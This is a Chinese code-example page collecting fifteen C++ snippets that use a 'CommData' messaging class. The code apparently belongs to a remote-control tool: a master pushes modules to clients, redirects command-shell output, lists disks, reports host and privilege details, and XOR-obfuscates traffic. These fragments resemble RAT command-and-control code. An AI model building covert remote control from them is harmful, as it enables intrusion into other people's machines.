本文整理汇总了C++中CommData类的典型用法代码示例。如果您正苦于以下问题:C++ CommData类的具体用法?C++ CommData怎么用?C++ CommData使用的例子?那么, 这里精选的类代码示例或许可以为您提供帮助。
在下文中一共展示了CommData类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: while
void ClientInfoManager::HandleInstalMsg( tstring clientid,CLIENT_BASE_INFO& info )
{
MsgSerialIDMap::iterator msgidIter = info.installModMsgIDMap.begin();
while (msgidIter != info.installModMsgIDMap.end())
{
//尝试从通信管理器获取回应消息
CommData retData;
if (CommManager::GetInstanceRef().GetReplyMessage(clientid.c_str(), msgidIter->second, retData))
{
tstring reply;
if (retData.GetStrData(_T("reply"), reply))
{
if (reply == _T("install success"))
{
info.mods += msgidIter->first.c_str();
info.mods += ',';
std::transform(info.mods.begin(),info.mods.end(),info.mods.begin(),tolower);
}
}
debugLog(_T("install reply is %s"), reply.c_str());
msgidIter = info.installModMsgIDMap.erase(msgidIter);
}
else
{
debugLog(_T("no reply for [%s][%I64u] yet"), clientid.c_str(), msgidIter->second);
msgidIter++;
}
}
}
示例2: trim
BOOL Shell::FileExistsInClient( LPCTSTR filepath, BOOL& bExists, BOOL& bDir )
{
tstring target = filepath;
trim(target, ' ');
trim(target, '\\');
trim(target, '/');
CommData request;
request.SetMsgID(MSGID_FILE_EXISTS);
request.SetData(_T("filepath"), target.c_str());
CommData commData;
if (! AskAndWaitForReply(request, commData))
{
return FALSE;
}
DECLARE_UINT64_PARAM(exists);
DECLARE_UINT64_PARAM(isdir);
bExists = (exists ? TRUE : FALSE);
bDir = (isdir ? TRUE : FALSE);
return TRUE;
}
示例3: SetMessageToAnswer
BOOL CommManager::SetMessageToAnswer( const CommData& commData )
{
BOOL bFound = FALSE;
m_mapSection.Enter();
{
ClientDataMap::iterator finditer = m_clientDataMap.find(commData.GetClientID());
if (finditer != m_clientDataMap.end())
{
DataMap& answerMap = finditer->second;
MSGSERIALID serialid = commData.GetSerialID();
DataMap::iterator aaiter = answerMap.find(serialid);
if (aaiter != answerMap.end())
{
SEND_AND_REPLY& aaData = aaiter->second;
if (! aaData.bReply)
{
aaData.bReply = TRUE;
aaData.replyData = commData;
bFound = TRUE;
}
}
}
}
m_mapSection.Leave();
return bFound;
}
示例4: RequestReportInfo
MSGSERIALID ClientInfoManager::RequestReportInfo( LPCTSTR clientid ) const
{
CommData data;
data.SetMsgID(MSGID_REQUEST_REPORT_INFO);
return CommManager::GetInstanceRef().AddToSendMessage(clientid, data);
}
示例5: SendOutput
void CmdRedirector::SendOutput( LPCSTR output )
{
CommData commData;
commData.SetMsgID(MSGID_CMDREDIRECT_OUTPUT);
commData.SetByteData((const LPBYTE)output, strlen(output) + 1);
CommManager::GetInstanceRef().PushMsgToMaster(COMMNAME_DEFAULT, commData);
}
示例6: CreateEmptyPacket
void CommManager::CreateEmptyPacket(ByteBuffer& buffer)
{
CommData data;
data.SetClientID(m_clientid.c_str());
data.SetMsgID(MSGID_AVAILABLE_COMM);
data.Serialize(buffer);
}
示例7: makeLower
BOOL ClientInfoManager::InstallModule( LPCTSTR clientid, LPCTSTR moduleName )
{
tstring modname = moduleName;
makeLower(modname);
tstring datFilepath;
if (! ClientmodManager::GetInstanceRef().GetModuleDatFilepath(modname.c_str(), datFilepath))
{
errorLog(_T("no such clientmodule [%s]"), moduleName);
return FALSE;
}
CommData sendData;
sendData.SetMsgID(MSGID_INSTALL_MODULE);
sendData.SetData(_T("modname"), moduleName);
if (! ReadDataFile(datFilepath.c_str(), sendData))
{
errorLog(_T("read datafile failed[%s]"), datFilepath.c_str());
return FALSE;
}
MSGSERIALID requestInstallModMsgID = CommManager::GetInstanceRef().AddToSendMessage(clientid, sendData, TRUE);
if (INVALID_MSGSERIALID == requestInstallModMsgID)
{
errorLog(_T("send msg to install mod[%s] in [%s] failed"), moduleName, clientid);
return FALSE;
}
BOOL bPushOK = FALSE;
m_infoMapSection.Enter();
{
ClientBaseInfoMap::iterator iter = m_clientBaseInfoMap.find(clientid);
if (iter != m_clientBaseInfoMap.end())
{
iter->second.installModMsgIDMap[moduleName] = requestInstallModMsgID;
bPushOK = TRUE;
}
}
m_infoMapSection.Leave();
if (bPushOK)
{
infoLog(_T("send install msg OK. install mod[%s] to [%s]"), moduleName, clientid);
}
else
{
errorLog(_T("send install msg OK.id=%I64u. but no info for client[%s]"), requestInstallModMsgID, clientid);
}
return TRUE;
}
示例8: ParseData
BOOL ClientInfoManager::ParseData( const CommData& commData, CLIENT_BASE_INFO& baseInfo ) const
{
DECLARE_STR_PARAM(cn);
DECLARE_STR_PARAM(ip);
DECLARE_STR_PARAM(groups);
DECLARE_STR_PARAM(vercode);
DECLARE_STR_PARAM(priv);
DECLARE_UINT64_PARAM(lang);
DECLARE_UINT64_PARAM(mem);
DECLARE_UINT64_PARAM(instime);
DECLARE_UINT64_PARAM(os);
DECLARE_UINT64_PARAM(x64);
DECLARE_UINT64_PARAM(proto);
DECLARE_UINT64_PARAM(cpufrep);
DECLARE_UINT64_PARAM(cpunum);
tstring mods;
commData.GetStrData(_T("mods"), mods);
baseInfo.computerName = cn;
splitByChar(ip.c_str(), baseInfo.localIPList, ',');
baseInfo.installTime = instime;
baseInfo.windowsVersion = (WIN_VER_DETAIL) os;
baseInfo.bX64 = (BOOL)x64;
baseInfo.mods = mods;
baseInfo.commtype = (COMM_NAME)proto;
baseInfo.cpufrep = cpufrep;
baseInfo.cpunum = cpunum;
baseInfo.memsize = mem;
baseInfo.groups = groups;
baseInfo.priv = priv;
baseInfo.vercode = vercode;
baseInfo.lang = TransferLanguage(lang);
_time64(&baseInfo.reportTime);
SOCKADDR_IN addr;
if (CommManager::GetInstanceRef().GetLastConnectionAddr(commData.GetClientID(), addr))
{
baseInfo.connectIP = addr.sin_addr.S_un.S_addr;
}
else
{
baseInfo.connectIP = 0;
}
baseInfo.bValid = TRUE;
return TRUE;
}
示例9: DECLARE_UINT64_PARAM
BOOL CommManager::MsgHandler_AvailableComm( MSGID msgid, const CommData& commData, LPVOID lpParameter )
{
DECLARE_UINT64_PARAM(commname);
CommManager* pMgr = (CommManager*) lpParameter;
CommData reply;
reply.Reply(commData);
reply.SetData(_T("commname"), commname);
pMgr->AddToSendMessage(commData.GetClientID(), reply, FALSE);
return TRUE;
}
示例10: RefershPartitions
BOOL Shell::RefershPartitions()
{
for (int i = 0; i < 26; i++)
{
m_partitions[i].bValid = FALSE;
}
CommData request;
request.SetMsgID(MSGID_DISKS);
CommData commData;
if (! AskAndWaitForReply(request, commData))
{
return FALSE;
}
DECLARE_STR_PARAM(result);
TStringVector partitionVector;
splitByChar(result.c_str(), partitionVector, ':');
BOOL bFoundOne = FALSE;
TStringVector::iterator partitionIter = partitionVector.begin();
for (; partitionIter != partitionVector.end(); partitionIter++)
{
tstring& partitionStr = *partitionIter;
TStringVector infoVector;
splitByChar(partitionStr.c_str(), infoVector, '|');
if (infoVector.size() != 4) continue;
//partition(str)|drivertype(uint)|totalbytes(uint64)|freebytes(uint64):
if (infoVector[0].size() == 0) continue;
TCHAR partition = infoVector[0][0];
int index = 0;
if (partition >= 'a' && partition <= 'z') index = partition - 'a';
else if (partition >= 'A' && partition <= 'Z') index = partition - 'A';
else continue;
if (1 != _stscanf_s(infoVector[1].c_str(), _T("%u"), &m_partitions[index].drivertype)) continue;
if (1 != _stscanf_s(infoVector[2].c_str(), _T("%I64u"), &m_partitions[index].totalBytes)) continue;
if (1 != _stscanf_s(infoVector[3].c_str(), _T("%I64u"), &m_partitions[index].freeBytes)) continue;
m_partitions[index].curPath = ('A' + index);
m_partitions[index].curPath += _T(":\\");
m_partitions[index].bValid = TRUE;
bFoundOne = TRUE;
}
return bFoundOne;
}
示例11: ReadDataFile
BOOL ReadDataFile( LPCTSTR datafile, CommData& data )
{
tstring filepath = datafile;
if (filepath.find(':') == tstring::npos)
{
filepath = GetBinFilepath() + filepath;
}
MyFile file;
if (! file.Open(filepath.c_str(), GENERIC_READ, OPEN_EXISTING, FILE_SHARE_READ))
{
errorLog(_T("open file [%s] failed"), filepath.c_str());
return FALSE;
}
ByteBuffer content;
if (! file.ReadAll(content))
{
errorLog(_T("readall [%s] failed"), filepath.c_str());
return FALSE;
}
data.SetByteData(content, content.Size());
return TRUE;
}
示例12: PushMsgToMaster
BOOL CommManager::PushMsgToMaster( COMM_NAME commName, CommData& data )
{
BOOL ret = FALSE;
if (NULL == m_commList[commName]) return FALSE;
//将消息序列化为byteData
ByteBuffer byteData;
data.SetClientID(m_clientid.c_str());
data.Serialize(byteData);
m_cspd.Enter();
m_pd.push_back(byteData);
m_cspd.Leave();
return ret;
}
示例13: MsgHandler_ClientInfo
BOOL ClientInfoManager::MsgHandler_ClientInfo( MSGID msgid, const CommData& commData, LPVOID lpParameter )
{
CLIENT_BASE_INFO info;
ClientInfoManager *lpMgr = (ClientInfoManager*)lpParameter;
lpMgr->m_infoMapSection.Enter();
{
lpMgr->ParseData(commData,info);
if(info.bValid)
{
lpMgr->m_clientBaseInfoMap[commData.GetClientID()] = info;
}
}
lpMgr->m_infoMapSection.Leave();
return TRUE;
}
示例14: HandleMessage
BOOL CommManager::HandleMessage( SOCKADDR_IN fromAddr, const LPBYTE pData, DWORD dwDataSize, COMM_NAME commName, CPGUID& cpguid )
{
ByteBuffer dataBuffer;
dataBuffer.Alloc(dwDataSize);
if (! XorFibonacciCrypt(pData, dwDataSize, (LPBYTE)dataBuffer, 2, 7))
{
return FALSE;
}
BOOL bRet = m_cp.AddRecvPacket(dataBuffer, dataBuffer.Size(), commName, &cpguid);
if (m_cp.HasReceivedMsg())
{
CPGUID from;
ByteBuffer recvMsgData;
if (m_cp.RecvMsg(recvMsgData, from))
{
//解析数据
CommData recvCommdata;
if (recvCommdata.Parse(recvMsgData, recvMsgData.Size()))
{
debugLog(_T("recv msg msgid[%I64u] serial[%I64u]"), recvCommdata.GetMsgID(), recvCommdata.GetSerialID());
tstring clientid;
CutupProtocol::CPGuid2Str(from, clientid);
recvCommdata.SetClientID(clientid.c_str());
SetMessageToAnswer(recvCommdata);
HandleMsgByMsgHandler(recvCommdata.GetMsgID(), recvCommdata);
}
else
{
errorLog(_T("parse message failed"));
}
}
}
if (bRet)
{
//更新心跳数据
tstring clientid;
CutupProtocol::CPGuid2Str(cpguid, clientid);
UpdateHeartbeat(clientid.c_str(), fromAddr);
}
return bRet;
}
示例15: MsgHandler_OutputError
BOOL ClientInfoManager::MsgHandler_OutputError( MSGID msgid, const CommData& commData, LPVOID lpParameter )
{
DECLARE_STR_PARAM(error);
errorLog(_T("[CLIENT ERROR][%s] %s"),error.c_str(),commData.GetClientID());
return TRUE;
}